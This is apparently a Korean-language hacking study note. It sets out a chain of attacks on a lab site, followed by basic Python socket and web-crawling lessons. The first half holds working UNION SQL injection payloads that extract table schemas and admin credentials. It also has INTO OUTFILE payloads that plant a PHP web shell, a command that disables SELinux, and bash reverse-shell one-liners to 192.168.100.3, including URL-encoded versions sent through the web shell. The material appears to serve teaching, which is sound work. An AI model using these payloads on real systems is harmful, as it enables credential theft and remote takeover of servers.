?id=bbs1 union SELECT 1,table_name,3,column_name,5,6,7,8 FROM information_schema.COLUMNS WHERE table_name = 'member' and table_schema='mywebsite'&m=list
=> union을 이용하여 테이블 이름, 컬럼 이름 등을 테이블이 member이고 데이터베이스가 mywebsite인 데이터에서 얻는다.
관리자 비밀번호 추출하기
?id=bbs1 union SELECT 1,userid,3,userpass,5,6,7,8 FROM member&m=list
위에서 나온 userid, userpass를 사용하여 출력
sql injection을 이용한 웹쉘 업로드
setenforce 0
=> selinux off
테스트
MariaDB [mywebsite]> SELECT "<?php echo shell_exec($_GET['cmd'])?>" into outfile '/var/www/html/data/webshell.php';
해당 경로로 웹쉘 파일이 생긴다
?id=bbs1 union SELECT 1,2,3,4,5,6,7,"<?php echo shell_exec($_GET['cmd'])?>" into outfile '/var/www/html/data/webshell.php';-- &m=list
브라우저에서 웹쉘파일을 생성할 수 있다
bash로 리버스쉘 연결하기
공격자 : nc -lvp 80
타겟 : /bin/bash -e > /dev/tcp/192.168.100.3/80
=> /bin/bash를 통해 연결되었다. 타겟이 pwd를 입력하면 공격자쪽에 결과값이 나타난다
타겟 : /bin/bash -i >& /dev/tcp/192.168.100.3/80
=> 타겟쪽에 입력상황이 보여지지 않지만, pwd를 입력하면 공격자쪽에 결과값이 나타난다
타겟 : /bin/bash -i >& /dev/tcp/192.168.100.3/80 0>&1 2>&1
=> 이젠 공격자쪽에서 입력하면 바로 공격자쪽에 출력된다
0번(입력), 1번(출력)을 전부 공격자쪽으로 향하도록 만들었다
& => %26 url인코딩해주어야 한다.
주소/webshell.php?cmd=/bin/bash -i >%26 /dev/tcp/192.168.100.3/80 0>%261 2>%261
공격자쪽에 배시쉘이 떨어진 모습
?id=bbs1 union SELECT 1,2,3,4,5,6,7,"<?php echo shell_exec('/bin/bash -i >%26 /dev/tcp/192.168.100.3/80 0>%261 2>%261')?>" into outfile '/var/www/html/data/webshell2.php';-- &m=list
=> 처음부터 웹쉘을 업로드할때 명령어를 삽입할수도 있다
파이썬을 이용한 자동화 툴 만들기
requests 모듈 : https://requests.readthedocs.io/en/latest/
http 요청을 보내고 응답을 받는 데 사용되는 라이브러리
내부적으로 서버와 통신하기 위해 소켓socket 모듈 사용
웹 페이지 내용을 가져오거나 데이터를 보내고 받을 수 있다
형식
import requests
response = requests.get(url, params=params)
또는
response = requests.get(url, data=data)
서버(리스닝)소켓
대기하고 있다가 클라이언트로부터 연결요청이 오면 연결을 맺는다
클라이언트와 통신할 또다른 소켓(클라이언트 소켓)을 생성한다
서버-클라이언트(커넥션)소켓
클라이언트와 통신하기 위한 통로 소켓
클라이언트-커넥션 소켓
서버와 통신하기 위해 생성한 소켓.
서버로 연결을 요청하고 데이터를 전송한다
import socket
socket.socket([패밀리[ , 타입 [ , proto]]])
socket.bind(주소, 포트번호) : 소켓 바인딩
socket.listen(백로그) : 연결개수 지정
socket.accept() : 연결수락
socket.send(문자열 크기 지정) : 데이터를 소켓에 보내기 위해 사용
socket.recv(bufsize) : tcp메시지를 받는다. 한번에 받을 수 있는 최대 크기 지정
socket.close()
서버
# python3
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import socket
>>> host = "127.0.0.1"
>>> port = 2024
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
>>> s.bind((host,port))
>>> s.listen(5)
>>> conn, addr = s.accept()
=> 여기서 멈춰있다가, 클라이언트가 접속하면 블로킹이 풀림
클라이언트
# python3
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import socket
>>> host="127.0.0.1"
>>> port=2024
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
>>> s.connect((host,port))
서버
>>> print("클라이언트가 접속했습니다.")
>>> data = "클라이언트 안녕!"
>>> conn.send(data.encode('utf-8'))
print는 단순 출력으로 전송이 아님. conn.send로 보내면 23이 출력되는데, 한글 7자(*3)와 공백 1개, !개의 바이트수를 의미한다
클라이언트
>>> data = s.recv(1024).decode('utf-8')
>>> print(data)
>>> s.send("서버 안녕!".encode('utf-8'))
"클라이언트 안녕!" 이 출력된다
서버
>>> print(conn.recv(1024).decode('utf-8'))
"서버 안녕!" 이 출력된다
클라이언트
>>> s.close()
>>> exit()
종료
서버
>>> conn.close()
>>> s.close()
>>> exit()
종료
python으로 간단한 크롤링하기
import requests
import sys
try:
url = '주소'
response = requests.get(url)
except:
print('서버에 접속할 수 없습니다.')
sys.exit()
예외처리
if response.status_code == 200: # 응답 정상인 경우
print(response)
print(response.text)
else: # 응답 (파일이 없는 경우)
print(f'요청이 실패했습니다 ({response.status_code})')
응답코드에 따라 내용을 print한다
html 코드를 분석하여 태그를 매칭하고 결과값 출력하기
import requests
import bs4
url = f"http://주소"
res = requests.get(url)
soup = bs4.BeautifulSoup(res.text, 'html.parser')
ret_value = soup.find('b') #b 태그를 찾는다는 뜻
print(f'>>> {url} : {ret_value} <<<')
if ret_value == None:
print('매칭되지 않음')
break